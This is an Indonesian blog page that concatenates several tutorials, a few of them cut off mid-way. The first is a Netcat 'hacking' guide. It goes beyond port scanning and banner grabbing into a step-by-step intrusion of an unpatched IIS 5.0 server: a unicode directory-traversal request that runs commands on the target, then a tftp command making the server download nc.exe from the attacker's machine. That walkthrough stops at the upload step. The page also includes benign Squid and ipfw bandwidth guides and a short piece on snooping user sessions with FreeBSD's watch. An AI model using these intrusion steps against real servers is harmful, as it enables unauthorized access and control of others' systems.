Tutorial Hacking Menggunakan Netcat

Tools ini sering disebut sebagai “TCP/IP Swiss Army Knife”-nya para hacker. Versi orisinalnya<br />ditulis untuk sistem operasi Unix oleh Hobbit (hobbit@avian.org) pada tahun 1995. Versi<br />Windows NT dikerjakan oleh Weld Pond (weld@l0pth.com).<br />Fitur dari Netcat antara lain adalah:<br />• Dapat mebangun koneksi Outbound dan inbound dengan TCP atau UDP, di dan dari<br />port mana saja.<br />• Dapat membaca argumen pada command line dari standar input<br />• Full DNS forwarding/reverse checking<br />• Kemampuan untuk menggunakan any local source port<br />• Kemampuan menggunakan any locally-configured network source address<br />• Tersedia port scanning secara built-in<br />• Dan lain-lain<br /><span class="fullpost"><br />Tools ini sering disebut sebagai “TCP/IP Swiss Army Knife”-nya para hacker. Versi orisinalnya<br />ditulis untuk sistem operasi Unix oleh Hobbit (hobbit@avian.org) pada tahun 1995. Versi<br />Windows NT dikerjakan oleh Weld Pond (weld@l0pth.com).<br />Fitur dari Netcat antara lain adalah:<br />• Dapat mebangun koneksi Outbound dan inbound dengan TCP atau UDP, di dan dari<br />port mana saja.<br />• Dapat membaca argumen pada command line dari standar input<br />• Full DNS forwarding/reverse checking<br />• Kemampuan untuk menggunakan any local source port<br />• Kemampuan menggunakan any locally-configured network source address<br />• Tersedia port scanning secara built-in<br />• Dan lain-lain<br />Dengan fitur di atas, banyak para hacker dan pengelola sistem memanfaatkan untuk melakukan<br />hal-hal sebagai berikut:<br /><br />• Scanning port dan menginventori service-service yang terpasang pada server<br />• File transfer<br />• Pengujian dan simulasi terhadap server<br />• Pengujian terhadap firewall, proxy dan gateway<br />• Pengujian performance network<br />• Pengujian address spoofing<br />• Banner grabbing<br />Lisensi Dokumen:<br />Copyright © 2003 IlmuKomputer.Com<br />Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan<br />secara bebas untuk tujuan bukan komersial (nonprofit), dengan syarat tidak menghapus atau<br />merubah atribut penulis dan pernyataan copyright yang disertakan dalam setiap dokumen.<br />Tidak diperbolehkan melakukan penulisan ulang, kecuali mendapatkan ijin terlebih dahulu<br />dari IlmuKomputer.Com.<br />Artikel Populer IlmuKomputer.Com<br />Copyright © 2003 IlmuKomputer.Com<br />2<br />Beberapa fitur dan pemanfaatan Netcat akan dijelaskan di bawah. Namun kami harus selalu<br />mengingatkan Anda, jangan pernah mencoba kemampuan netcat di sistem komputer yang<br />bukan milik anda sendiri !<br />Instalasi Netcat<br />Saat ini Netcat telah tersedia tidak saja pada sistem operasi Unix dan Linux, melainkan juga<br />pada sistem operasi Windows.<br />Pada tulisan ini kami menggunakan Netcat dengan sistem operasi Windows. Semua perintah<br />pada command line sama dengan perintah yang terdapat pada Netcat dengan sistem operasi<br />Unix.<br />Instalasi Netcat pada sistem operasi Windows sangat sederhana. Pertama Anda dapat<br />mendownload dari situs http://www.atstake.com/research/tool…ork_utilities/ atau di<br />banyak situs hacker lainnya. Namun demikian Anda harus waspada jika mendownload dari situs<br />yang tidak Anda kenal betul, bisa jadi tools Netcat-nya sudah dimodifikasi menjadi trojan horse<br />yang dapat mengganggu sistem Anda<br />Kemudian Anda cukup melakukan unzip terhadap file yang telah Anda download yaitu<br />nc11nt.zip ke dalam sebuah direktori sebagai berikut:<br />C:\TMP\NETCAT> dir<br />Volume in drive C has no label.<br />Volume Serial Number is 141F-1208<br />Directory of C:\TMP\NETCAT<br />02/23/2003 05:03 PM .<br />02/23/2003 05:03 PM ..<br />11/03/1994 07:07 PM 4,765 GETOPT.H<br />01/04/1998 03:17 PM 69,081 NETCAT.C<br />01/03/1998 02:37 PM 59,392 NC.EXE<br />11/28/1997 02:48 PM 12,039 DOEXEC.C<br />11/28/1997 02:36 PM 544 MAKEFILE<br />11/06/1996 10:40 PM 22,784 GETOPT.C<br />07/09/1996 04:01 PM 7,283 GENERIC.H<br />02/06/1998 03:50 PM 61,780 HOBBIT.TXT<br />02/06/1998 05:53 PM 6,771 README.TXT<br />02/22/2000 11:24 AM 2,044 AVEXTRA.TXT<br />10 File(s) 246,483 bytes<br />2 Dir(s) 8,868,044,800 bytes free<br />C:\TMP\NETCAT><br />File utama yang perlu Anda perhatikan hanyalah nc.exe saja, file lainnya perlu Anda perhatikan<br />bila Anda perlu melakukan kompilasi ulang.<br />Memulai Netcat<br />Sebelum memulai, sebaiknya Anda perlu mengetahui fasilitas apa saja yang tersedia pada<br />Netcat. Untuk itu Anda dapat memulai dengan melihat option yang tersedia. Untuk mengetahui<br />option yang tersedia pada Netcat, cukup memanggil help-nya pada Dos prompt sebagai berikut:<br />C:\TMP\NETCAT> nc -h<br />[v1.10 NT]<br />connect to somewhere: nc [-options] hostname port[s] [ports] …<br />listen for inbound: nc -l -p port [options] [hostname] [port]<br />Artikel Populer IlmuKomputer.Com<br />Copyright © 2003 IlmuKomputer.Com<br />3<br />options:<br />-d detach from console, stealth mode<br />-e prog inbound program to exec [dangerous!!]<br />-g gateway source-routing hop point[s], up to 8<br />-G num source-routing pointer: 4, 8, 12, …<br />-h this cruft<br />-i secs delay interval for lines sent, ports scanned<br />-l listen mode, for inbound connects<br />-L listen harder, re-listen on socket close<br />-n numeric-only IP addresses, no DNS<br />-o file hex dump of traffic<br />-p port local port number<br />-r randomize local and remote ports<br />-s addr local source address<br />-t answer TELNET negotiation<br />-u UDP mode<br />-v verbose [use twice to be more verbose]<br />-w secs timeout for connects and final net reads<br />-z zero-I/O mode [used for scanning]<br />port numbers can be individual or ranges: m-n [inclusive]<br />C:\TMP\NETCAT><br />Secara umum perintah Netcat memiliki struktur sebagai berikut:<br />C:\> nc –opsi<br />Port Scanning<br />Seperti juga pisau Swiss Army yang memiliki banyak mata pisau beraneka fungsi, maka Netcat<br />juga memiliki aneka fungsi yang dimiliki tools lainnya, salah satunya adalah “mata pisau” port<br />scanning<br />Walaupun tidak selengkap dan secanggih tools Nmap atau Supercan, Netcat dapat digunakan<br />untuk melihat port mana saja yang terbuka. Berikut ini contoh untuk memeriksa status port web<br />dari port 10 s./d port 140 dari situs web tertentu, sebagai berikut:<br />C:\TMP\NETCAT> nc -v -z server01 10-140<br />server01 [128.1.9.81] 139 (netbios-ssn) open<br />server01 [128.1.9.81] 113 (auth) open<br />server01 [128.1.9.81] 110 (pop3) open<br />server01 [128.1.9.81] 98 (?) open<br />server01 [128.1.9.81] 80 (http) open<br />server01 [128.1.9.81] 79 (finger) open<br />server01 [128.1.9.81] 25 (smtp) open<br />server01 [128.1.9.81] 23 (telnet) open<br />server01 [128.1.9.81] 21 (ftp) open<br />C:\TMP\NETCAT><br />Perintah di atas akan melakukan scanning port 10 s/d 140 dari host server01 dengan address IP<br />128.1.9.81. Option –z merupakan option yang dipergunakan untuk melakukan scanning.<br />Banner Grabbing<br />Salah satu cara mendapatkan informasi mengenai sistem operasi dan aplikasi yang dijalankan<br />oleh sebuah host adalah dengan melakukan banner grabbing atau membaca informasi yang ada<br />di dalam banner sebuah sistem.<br />Berikut ini kemampuan Netcat untuk mengambil header suatu situs web yang biasanya<br />menyimpan informasi penting sebagai berikut (Jangan lupa ketikkan “Get/HTTP” seperti<br />terlihat pada baris kedua dari contoh hasil di atas.)<br />Artikel Populer IlmuKomputer.Com<br />Copyright © 2003 IlmuKomputer.Com<br />4<br />C:\TMP\NETCAT> nc -v -n 128.1.71.103 80<br />(UNKNOWN) [128.1.71.103] 80 (?) open<br />get http<br />HTTP/1.1 400 Bad Request<br />Server: Microsoft-IIS/5.0<br />Date: Sat, 11 Oct 2003 03:34:24 GMT<br />Content-Type: text/html<br />Content-Length: 87<br />ErrorThe parameter is incorrect.<br /><br />C:\TMP\NETCAT><br />Penggunaan option –n diperlukan jika address yang Anda berikan adalah berupa nomor IP. Jika<br />berupa address internet, anda tidak memerlukan option –n tersebut. Port yang diuji adalah port<br />80.<br />Dari contoh di atas Anda dapat mengetahui bahwa sistem operasi yang dipergunakan adalah<br />Microsoft dengan IIS/5.0.<br />Perhatikan contoh berikutnya:<br />C:\TMP\NETCAT> nc -v www.cobacoba.com 80<br />www.cobacoba.com [128.1.9.9] 80 (http) open<br />get/http<br /><br />501 Method Not Implemented<br />Method Not Implemented<br /><br />get/http to /index.html not supported.<br /><br />Invalid method in request get/http<br />Apache/1.3.12 Server at www.cobacoba.com Port 80<br /><br />C:\TMP\NETCAT><br />Pada contoh di atas tidak menggunakan option –n karena address yang digunakan adalah bukan<br />nomor IP. Dari hasil di atas tidak terlihat sistem operasinya tetapi terlihat bahwa host tersebut<br />menggunakan Apache Versi 1.3.12.<br />Skenario Menyusup ke dalam Server Web!<br />Untuk menyusup ke dalam server web diperlukan beberapa langkah dan ketrampilan tersendiri.<br />Tidak saja ketrampilan menggunakan Netcat, tetapi juga pengetahuan kita mengenai sistem<br />target. Dalam contoh skenario kali ini, kita akan menyusup ke sebuah server web yang<br />menggunakan sistem operasi Windows 2000 dengan IIS 5.0. Untuk itu diperlukan pemahaman<br />mengenai sebuah bugs dari Microsoft IIS 5.0, yaitu unicode bugs, yang sampai saat ini masih<br />saja ada server web yang belum dipasang patch karena kelalaian atau ketidaktahuan sang<br />pengelola sistem.<br />Fokus kita bukan mengenai apa dan bagaimana bugs Microsoft tersebut, melainkan bagaimana<br />memanfaatkan Netcat untuk melakukan penyusupan dan bahkan download dokumen dari server<br />web. Perhatikan, semua dilakukan dengan satu tools, Netcat saja, walaupun bisa saja Anda<br />menggunakan tools-tools lainnya. Itu sebabnya Netcat disebut sebagai “TCP/IP Swiss Army<br />Knife”<br />Artikel Populer IlmuKomputer.Com<br />Copyright © 2003 IlmuKomputer.Com<br />5<br />Mari kita memulai dengan mencari server web yang menggunakan Microsoft Windows 2000<br />dengan IIS versi 5.0 sebagai berikut (sebagian akan menggunakan option dari netcat yang telah<br />dijelaskan di atas):<br />C:\TMP\NETCAT> nc -v -z ristbook 20-80<br />ristbook [128.1.71.103] 80 (http) open<br />ristbook [128.1.71.103] 25 (smtp) open<br />ristbook [128.1.71.103] 21 (ftp) open<br />C:\TMP\NETCAT><br />OK, terlihat server ristbook membuka port 80 yang ada diduga merupakan server web.<br />Selanjutnya Anda perlu menyelidiki, adakah server ristbook merupakan server web<br />menggunakan Microsoft dan IIS 4.0/5.0?<br />C:\TMP\NETCAT> nc -v ristbook 80<br />ristbook [128.1.71.103] 80 (http) open<br />get http<br />HTTP/1.1 400 Bad Request<br />Server: Microsoft-IIS/5.0<br />Date: Sat, 11 Oct 2003 08:51:34 GMT<br />Content-Type: text/html<br />Content-Length: 87<br />ErrorThe parameter is incorrect.<br /><br />C:\TMP\NETCAT><br />Aha, ternyata server tersebut merupakan server web yang menggunakan Microsoft dengan IIS<br />5.0. Selanjutnya kita akan menguji apakah server web ini sudah memasang patch dan terhindar<br />dari bugs unicode ?<br />C:\TMP\NETCAT> nc -v ristbook 80<br />ristbook [128.1.71.103] 80 (http) open<br />get http://ristbook/scripts/..%255c../wi…exe?/c+dir+c:\<br />HTTP/1.1 200 OK<br />Server: Microsoft-IIS/5.0<br />Date: Sat, 11 Oct 2003 09:06:52 GMT<br />Content-Type: application/octet-stream<br />Volume in drive C has no label.<br />Volume Serial Number is 0C42-12EA<br />Directory of c:\<br />09/17/2001 11:46a 1,012 FRUNLOG.TXT<br />09/17/2001 11:35a WINDOWS<br />09/17/2001 11:58a My Documents<br />09/17/2001 11:35a Program Files<br />09/17/2001 12:43p ATI<br />05/05/1999 09:20a 31,512 MAESTRO.COM<br />09/17/2001 12:50p 0 CONFIG.AGO<br />05/05/1999 09:20a 11,084 AECU.SYS<br />09/26/2003 08:35p 30 mstrinf.ini<br />09/17/2001 12:50p 0 AUTOEXEC.AGO<br />07/01/2003 07:22p museum<br />06/06/2001 06:28a 1,071 my_cnf.bak<br />06/25/2002 07:35p 697 FRONTPG.LOG<br />08/29/2003 04:16p NAV2001<br />08/29/2003 04:51p ServicePack<br />01/28/2002 03:45p HTML<br />06/17/2002 06:17p 22 autoexec.nav<br />09/19/2003 04:49p denny<br />08/27/2003 06:38p 28,290 SCANDISK.LOG<br />04/05/2003 06:53a 967 command.PIF<br />06/09/2002 10:16p 442 SETUPXLG.TXT<br />10/05/2001 03:33p 40,923 c1605r-psn.txt<br />01/04/2002 12:20p tmp<br />10/24/2001 02:32p tms20<br />06/27/2001 11:57p 1,574 index.html.no<br />Artikel Populer IlmuKomputer.Com<br />Copyright © 2003 IlmuKomputer.Com<br />6<br />11/13/1998 01:23a 106,496 sqlsun.dll<br />01/28/2002 03:52p 289 sqlsunin.ini<br />09/26/2003 12:29p 157,817 winzip.log<br />01/28/2002 03:53p 85,526 Uninst.isu<br />12/13/2001 04:30p 317 Shortcut to cuteftp.exe.lnk<br />06/21/2002 10:34a Acrobat3<br />01/22/2002 03:18p My Received Files<br />01/28/2002 03:49p LOG<br />07/30/2002 01:40p 34,565 atapi.exe<br />04/06/2003 06:41p 82 asoy.ftp<br />01/28/2002 03:45p Upgrade<br />12/07/1999 07:00p 236,304 cmdkoe.exe<br />01/28/2002 03:45p Install<br />06/25/2002 07:34p Inetpub<br />07/05/2002 07:02p Documentation<br />02/12/2002 01:28p 227,467 datacenter1.jpg<br />02/09/2002 03:29p 2,920 datacenterthumb.jpg<br />11/15/2001 03:07p 3,384 sqlnet.log<br />09/17/1999 06:38p 1,234 Table of Contents.htm<br />06/26/2002 03:22p ftproot<br />26 File(s) 974,025 bytes<br />19 Dir(s) 119,435,264 bytes free<br />C:\TMP\NETCAT><br />Ooops, tampaknya pengelola sistemnya lalai dan belum dipasang patchnya untuk bugs unicode.<br />OK, Anda dapat melanjutkan langkah berikutnya dengan menyusupkan tools serba guna kita ke<br />dalam server web tersebut, ya, mengcopykan netcat ke dalam server tersebut ! Dengan<br />meletakkan tools serba guna Netcat pada server web, maka Anda dapat mengendalikan server<br />web tersebut dengan leluasa.<br />Salah satu cara menyusupkan netcat ke dalam ke dalam server web tersebut adalah<br />memanfaatkan service tftp (Trivial File Transfer Protocol). Anda dapat memerintahkan server<br />web target Anda untuk mengupload netcat dari tftp server yang terpasang di komputer Anda.<br />Untuk itu Anda harus mengaktifkan atau menginstall tftp server pada komputer Anda, jika<br />belum tersedia. Jika komputer Anda menggunakan sistem operasi Windows, Anda dapat<br />menginstall aplikasi freeware tftpd32 buatan Philippe Jounin (ph.jounin@computer.org) yang<br />dapat Anda download dari http://membres.lycos.fr/phjounin/ atau dari situs-sistus hacker<br />lainnya.<br />Selanjutnya Anda dapat mengaktifkan tftp server sebagai berikut:<br />Artikel Populer IlmuKomputer.Com<br />Copyright © 2003 IlmuKomputer.Com<br />7<br />Kemudian masukkan program Netcat yang akan Anda upload ke server web target ke dalam<br />direktori tftp dari komputer Anda yang telah diinstall tftp. Atau Anda dapat mengarahkan base<br />directory dari tftp ke direktori program Netcat Anda.<br />OK, sampai disini Anda telah menyiapkan tftp di komputer Anda yang di dalam base<br />directorinya berisi Netcat. Selanjutnya kita tak akan membahas lebih detail soal tftpd32, karena<br />kita akan memfokuskan pada pemanfaatan Netcat.<br />Langkah selanjutnya untuk mengupload Netcat ke server tujuan menggunakan instruksi Netcat,<br />sebagai berikut:<br />C:\TMP\NETCAT> nc -v ristbook 80<br />ristbook [128.1.71.103] 80 (http) open<br />get http://ristbook/scripts/..%255c../wi…tp+-i+128.1.99<br />.25+get+nc.exe<br />HTTP/1.1 502 Gateway Error<br />Server: Microsoft-IIS/5.0<br />Date: Sun, 26 Oct 2003 11:00:54 GMT<br />Content-Length: 215<br />Content-Type: text/html<br />Error in CGI Application<br /></span>

Tutorial Hacking Menggunakan Netcat

Tools ini sering disebut sebagai “TCP/IP Swiss Army Knife”-nya para hacker. Versi orisinalnya ditulis untuk sistem operasi Unix oleh Hobbit ...

Read more »

Manajemen Bandwidth Di Squid Menggunakan Delay Pools

Dokumen ini menjelaskan bagaimana cara mengkonfigurasikan proxy server anda untuk membatasi bandwidth download atau incoming traffic.<br />Berikut langkah-langkah pengkonfigurasian manajemen bandwidth di squid:<br />1. Pertama-tama periksa apakah squid telah berjalan di server dan telah dikonfiguraisi sebagai mesin proxy server.<br />2. Sebelum memulai memanajemen bandwidth di squid, kita jelaskan dulu komponen-komponen manajement bandwidth di squid :<br /><br />delay_pools<br />Opsi ini untuk menspesifikasi berapa jumlah pool yang digunakan untuk membatasi jumlah bandwidth dari ACL. Opsi ini akan dirangkaikan bersama opsi delay_class dan delay_parameters yang akan dibahas di bawah ini.<br /><span class="fullpost"><br />delay_class<br />Opsi ini menspesifikasikan kelompok dari masing-masing pool yang telah didefinisikan pada opsi delay-pools. Ada tiga class yang didukung Squid, antara lain:<br />• class 1: Semua akses dibatasi dengan single bucket, artinya hanya bisa mendefinisikan overall bandwidth untuk suatu ACL saja, tidak bisa mendefinisikan bandwidth dengan lebih mendetail<br />• class 2: Semua akses dibatasi dengan single agregate dengan dua parameter bandwidth. Parameter pertama mendefinisikan berapa bandwidth maksimal yang didapatkan ACL, parameter kedua mendefinisikan berapa bandwidth overall untuk ACL yang spesifik yang ada pada network tersebut.<br />• class 3: Kelompok yang definisi bandwidth-nya paling mendetail. Parameter pertama mendefinisikan berapa bandwidth maksimal yang didapatkan ACL, parameter kedua mendefinisikan berapa bandwidth normal yang didapatkan ACL secara umum, dan parameter yang ketiga adalah mendefinisikan bandwidth yang didapatkan ACL jika mengakses ACL-ACL tertentu yang spesifik, misalnya file mp3.<br /><br />delay_parameters<br />Opsi ini menspesifikasikan rumus bandwidth yang akan didapatkan oleh ACL yang akan memasuki delay_pool. Misalnya ada entry berikut ini pada delay_parameters:<br />delay_parameters 1 -1/-1 2100/4000<br />Angka 1 berarti rumus ini berlaku untuk pool 1. Angka -1/-1 berarti bandwidth maksimal yang diberikan Squid adalah tidak terbatas untuk pool ini.<br /><br />Angka 2100/4000 berarti bandwidth yang didapatkan oleh ACL setelah masuk ke pool ini. Angka ini berada dalam kelipatan 8 b, sehingga untuk mendapatkan nilai bandwidth yang sebenarnya harus dikalikan delapan. Angka 2100 adalah bandwidth yang didapatkan ACL pada masa-masa normal. Jika dikalikan 8, maka bandwidth normal yang akan didapatkan ACL sekitar 18 Kbps. Angka 4000 adalah bandwidth maksimal yang didapatkan ACL pada masa-masa jalur sedang kosong. Jika dikalikan 8, maka bandwidth yang didapatkan sekitar 32 Kbps.<br /><br />delay_access<br />Opsi ini mendefinisikan siapa-siapa ACL yang akan dimasukkan ke pool tertentu untuk mendapatkan “perlambatan” bandwidth. Bentuk umumnya adalah seperti ini:<br />delay_access 1 allow labprog<br />Opsi di atas berarti kita memasukkan ACL labprog ke dalam pool 1.<br /><br />3. Jika sudah mengerti komponen-komponen delay pool, kita mulai konfigurasi delay pool .<br />Di umpamakan kita mempunyai bandwidth dari ISP sebesar 512kb, dan kita membuat rule seperti berikut ini:<br />- Batas kecepatan koneksi overall adalah 256 Kbps. per-network adalah 64 kbps. Sedangkan per-user/host dibatasi 2 Kbps jika digunakan untuk download file bertipe exe, mp3, vqf, tar.gz, gz, rpm, zip, rar, avi, mpeg, mpe, mpg, qt, ram, rm, iso, raw, dan wav. Jika tidak, maka koneksi perhost HANYA mengikuti aturan per-Network saja.<br /><br />Penyelesaian:<br /><br /><br />Edit file /etc/squid/squid.conf<br />#vi /etc/squid/squid.confLalu tambahkan contoh konfigurasi ini:<br /># Sebelum kita melakukan pembatasan, kita perlu mendefinisikan ACL network # # yang kita perlukan terlebih dahulu. ACL yang didefinisikan pada host bridge<br /># seperti di bawah ini:acl lokal src 192.168.1.0/24# Kemudian kita membatasi maksimum download dengan tag di bawah ini:<br /># Batas kecepatan koneksi overall adalah 256 Kbps. per-network adalah<br /># 64 kbps. Sedangkan per-user/host dibatasi 2 Kbps jika digunakan untuk<br /># download file bertipe exe, mp3, vqf, tar.gz, gz, rpm, zip, rar, avi,<br /># mpeg, mpe, mpg, qt, ram, rm, iso, raw, dan wav. Jika tidak, maka<br /># koneksi perhost HANYA mengikuti aturan per-Network saja.<br /><br />acl filegede url_regex -i \.exe<br />acl filegede url_regex -i \.mp3<br />acl filegede url_regex -i \.vqf<br />acl filegede url_regex -i \.gz<br />acl filegede url_regex -i \.rpm<br />acl filegede url_regex -i \.zip<br />acl filegede url_regex -i \.rar<br />acl filegede url_regex -i \.avi<br />acl filegede url_regex -i \.mpeg<br />acl filegede url_regex -i \.mpe<br />acl filegede url_regex -i \.mpg<br />acl filegede url_regex -i \.qt<br />acl filegede url_regex -i \.ram<br />acl filegede url_regex -i \.rm<br />acl filegede url_regex -i \.iso<br />acl filegede url_regex -i \.raw<br />acl filegede url_regex -i \.wav<br /><br /># Kita buat dulu ACL untuk mendefinisikan file-file di atas dengan menggunakan # regularexpression. Kemudian kita mendefinisikan 2 delay pool untuk<br /># menampung bandwidth.<br /># Satu pool masuk dalam kategori class 2 untuk mendefinisikan aturan overall<br /># 256 Kbps dan per-network 64 Kbps. Satu pool lainnya masuk kategori class 3<br /># untuk mendefinisikan aturan tambahan jika user mendownload file-file yang<br />#didefinisikan dalam ACL url_regex dengan bandwidth maksimal 2 Kbps.<br /><br /><br />delay_pools 2<br />delay_class 1 3<br />delay_parameters 1 32000/32000 8000/8000 250/250<br />delay_access 1 allow lokal filegede<br />delay_access 1 deny all<br />delay_class 2 2<br />delay_parameters 2 32000/32000 8000/8000<br />delay_access 2 allow lokal<br />delay_access 2 deny all<br /><br />Jika sudah selesai, simpan hasil konfigurasi dan restart squid<br /><br /><br />#/etc/init.d/squid restart<br /></span>

Manajemen Bandwidth Di Squid Menggunakan Delay Pools

Dokumen ini menjelaskan bagaimana cara mengkonfigurasikan proxy server anda untuk membatasi bandwidth download atau incoming traffic. Beriku...

Read more »

Memata-Matai User Di FreeBSD

Untuk mengamati ataupun mengintai (snooping) user, kita dapat menggunakan watch. watch hanya dapat di gunakan oleh superuser. Sebelum menggunakan watch kita perlu menambahkan kernel option :<br /><br /> pseudo-device snp<br /><br />Kemudian compile dan Install kernel. Setelah reboot kita buat snoop device :<br /><br /><span class="fullpost"><br /> # cd /dev<br /> # sh MAKEDEV snp0<br /><br />baru kita coba, kita lihat dulu user mana yg masih login <br /><br /> #w<br /> USER TTY FROM LOGIN@ IDLE WHAT<br /> wus p0 griya4 4:26AM 1 ./scr-bx<br /> root p1 billing 4:03PM - w<br /> mbuh p2 - 4:02PM - -bash (bash)<br /><br />Jalankan watch<br /><br /> #watch p0<br /></span>

Memata-Matai User Di FreeBSD

Untuk mengamati ataupun mengintai (snooping) user, kita dapat menggunakan watch. watch hanya dapat di gunakan oleh superuser. Sebelum menggu...

Read more »

Membagi Bandwidth Dengan FreeBSD

Mengapa butuh traffic shaping?<br /><br />Traffic shaping adalah untuk menghad sesuatu bandwidth mengikut konfigurasi anda. Contohnya, anda mempunyai<br />10 buah PC di kantor anda dan anda mahu semua PC itu mendapat bandwidth sebanyak 256Kbps. Anda bisa<br />lakukannya dengan cara ini. Selain itu, anda bisa pastikan sesuatu IP atau port mendapat ‘priority’ dengan<br />menggunakan WFQ (Weight Fair Queueing)<br /><br />Bolehkan benda ni handle banyak connection?<br /><br /><span class="fullpost"><br />Mungkin bisa, mungkin tidak juga. Saya udah mencoba cara ini dengan 40 client, dan enggak menghadapi apa-apa masalah.<br />Pentium II 300 dan 64MB RAM udah cukup bagus untuk menjanakannya. Pastikan anda menggunakan network<br />card yang berkualitas.<br /><br />Langkah 1: Kernel<br /><br />Pastikan kernel anda dicompile konfigurasi ini:<br />options IPFIREWALL<br />options DUMMYNET<br />options HZ=1000<br />‘IPFIREWALL’ adalah untuk filtering, ‘DUMMYNET’ adalah untuk traffic shaping dan ‘HZ=1000′ yang bermaksud operasi<br />kernel akan dijalankan pada 1ms.<br /><br />Langkah 2: IPFW<br /><br />IPFW merupakan interface kepada IPFIREWALL dan DUMMYNET. Ianya sudah ada dalam mana-mana OS FreeBSD.<br />Anda mesti menambah konfigurasi ini dalam /etc/rc.conf supaya IPFW diexecute secara automatik ketika bootup.<br />firewall_enable=”YES”<br />firewall_script=”/etc/ipfw.conf”<br />‘firewall_enable=”YES”‘ bermaksud bahawa rc.conf akan execute ipfw pada bootup dengan rules yang diset oleh<br />‘firewall_script=”/etc/ipfw.conf”‘. Anda boleh menukar nama fail script anda.<br />Saya tidak akan menerang tentang ipfirewall dan NAT dalam artikel ini, anda perlu rujuk kepada artikel lain berkenaan<br />perkara tersebut.<br /><br />Langkah 3: Konfigurasi IPFW<br /><br /> <br /><br />Menghad Bandwidth (Bandwidth Limit)<br /><br />Anda boleh menghad bandwidth dengan contoh-contoh dibawah:<br /><br />contoh 1:<br /><br />$ipfw pipe 1 config bw 128Kbit/s<br />$ipfw pipe 2 config bw 128Kbit/s<br />$ipfw add pipe 1 all from any to 192.168.1.1 in<br />$ipfw add pipe 2 all from 192.168.1.1 to any out<br />Konfigurasi ini akan menghad bandwidth download dan upload dari IP 192.168.1.1 kepada 128Kbps<br /><br /> <br /><br />contoh 2:<br /><br /><br />$ipfw pipe 1 config mask dst-ip 0×000000ff bw 128Kbit/s<br />$ipfw pipe 2 config mask src-ip 0×000000ff bw 128Kbit/s<br />$ipfw add pipe 1 all from any to 192.168.1.0/24 in<br />$ipfw add pipe 2 all from 192.168.1.0/24 to any out<br />Konfigurasi ini akan menghad bandwidth download dan upload dari network 192.168.1.0/24 kepada 128Kbps<br /><br />WFQ (Weight Fair Queueing)<br /><br />Anda boleh mengkofigurasikan mana-mana IP atau port yang akan mendapat ‘priority’ mengikut contoh-contoh dibawah:<br /><br />contoh 1:<br /><br />$ipfw pipe 1 config bw 128Kbit/s<br />$ipfw pipe 2 config bw 128Kbit/s<br />$ipfw queue 100 config pipe 2 weight 90<br />$ipfw queue 101 config pipe 2 weight 60<br />$ipfw add pipe 1 all from any to 192.168.1.1 in<br />$ipfw add queue 100 tcp from 192.168.1.1 to any 22 out<br />$ipfw add queue 100 tcp from 192.168.1.1 to any 80 out<br />$ipfw add queue 100 udp from 192.168.1.1 to any 53 out<br />$ipfw add queue 101 all from 192.168.1.1 to any out<br />Konfigurasi ini akan menghad bandwidth download dan upload dari IP 192.168.1.1 kepada 128Kbps dan memberi<br />‘priority’ kepada port SSH(22), HTTP(80), dan DNS(53) yang menuju ke luar (pada client).<br /><br />contoh 2:<br /><br />$ipfw pipe 1 config bw 128Kbit/s<br />$ipfw pipe 2 config bw 128Kbit/s<br />$ipfw queue 100 config pipe 1 weight 90<br />$ipfw queue 101 config pipe 1 weight 60<br />$ipfw add queue 100 tcp from any to 192.168.1.1 22 in<br />$ipfw add queue 100 tcp from any to 192.168.1.1 80 in<br />$ipfw add queue 101 tcp from any to 192.168.1.1 in<br />$ipfw add pipe 2 all from 192.168.1.1 to any out<br />Konfigurasi ini akan menghad bandwidth download dan upload dari IP 192.168.1.1 kepada 128Kbps dan memberi<br />‘priority’ kepada port SSH(22), HTTP(80), dan DNS(53) yang menuju ke dalam (pada server).<br />SIAP! Semua konfigurasi DUMMYNET sudah lengkap, dan tibalah masa untuk menguji benda ini. Enjoy!<br /><br />Sumber : azhax@indofreebsd.or.id<br /><br />Implementasikan WF2Q+ dengan ipfw<br /><br /><br /><br />Jika anda ingin menimplementasikan WF2Q+ dengan ipfw di mesin dengan tujuan:<br />- Sharing bandwidth antar client misalnya untuk ratio 1:4.<br />- Sharing bandwidth evenly/rata diantara client tersebut (Tapi bukan garansi/CIR).<br />- Adanya bandwidth peak/burst diantara client jika client yg lain idle.<br /><br />Sebelumnya pastikan anda running FreeBSD di mesin anda, dengan kompilasi kernel:<br /><br /> options DUMMYNET<br /> options HZ=1000<br /> options IPFW2<br /><br /> Untuk sharing bandwidth dengan ratio 1:4 bisa anda kelompokan client anda dalam satu group misalnya:<br />- Host A, B, C, D diberi bandwidth rebutan/sharing sebesar 128 Kbit/s,<br />dengan IP Address:<br />* Host A : 192.168.0.1/32<br />* Host B : 192.168.0.2/32<br />* Host C : 192.168.0.3/32<br />* Host D : 192.168.0.4/32Asumsi subnet yg anda pilih /24 atau 255.255.255.0, jika anda ingin menggunakan<br />subnetting juga itu lebih bagus.<br /><br />Bikin rule di /etc/rc.firewall dan letakan sebelom rule permit/deny:<br /><br />ipcl_grup01=”192.168.0.0/24{1,2,3,4}”<br />bw_share01=”128Kbit/s”<br />bw_down_share01=”128Kbit/s”<br />bw_up_share01=”64Kbit/s”<br />ifint=”inside_interface”<br /><br /># Sample format 1 – Limiting downstream saja.<br /><br />${fwcmd} add 1 queue 1 ip from any to ${ipcl_group01} out via ${ifint} // Downstream<br />${fwcmd} queue 1 config weight 50 queue 4 pipe 1 mask dst-ip 0xffffffff<br />${fwcmd} pipe 1 config queue 4 bw ${bw_down_share01}# Sampel format 2 – Limiting upstream saja.<br />${fwcmd} add 1 queue 1 ip from ${ipcl_group01} to any in via ${ifint} // Upstream<br />${fwcmd} queue 1 config weight 50 queue 4 pipe 1 mask src-ip 0xffffffff<br />${fwcmd} pipe 1 config queue 4 bw ${bw_up_share01}# Sample format 3 – Limiting downstream/upstream menjadi satu flow.<br /><br /><br />${fwcmd} add 1 queue 1 ip from any to ${ipcl_group01} out via ${ifint} // Downstream<br />${fwcmd} add 2 queue 1 ip from ${ipcl_group01} to any in via ${ifint} // Upstream<br />${fwcmd} queue 1 config weight 50 queue 4 pipe 1 mask all<br />${fwcmd} pipe 1 config queue 4 bw ${bw_share01}# Sample format 4 – Limiting upstream/downstream dengan masing2 flow terpisah.<br />${fwcmd} add 1 queue 1 ip from any to ${ipcl_group01} out via ${ifint} // Downstream<br />${fwcmd} add 2 queue 2 ip from ${ipcl_group01} to any in via ${ifint} // Upstream<br />${fwcmd} queue 1 config weight 50 queue 4 pipe 1 mask dst-ip 0xffffffff<br />${fwcmd} queue 2 config weight 50 queue 4 pipe 2 mask src-ip 0xffffffff<br 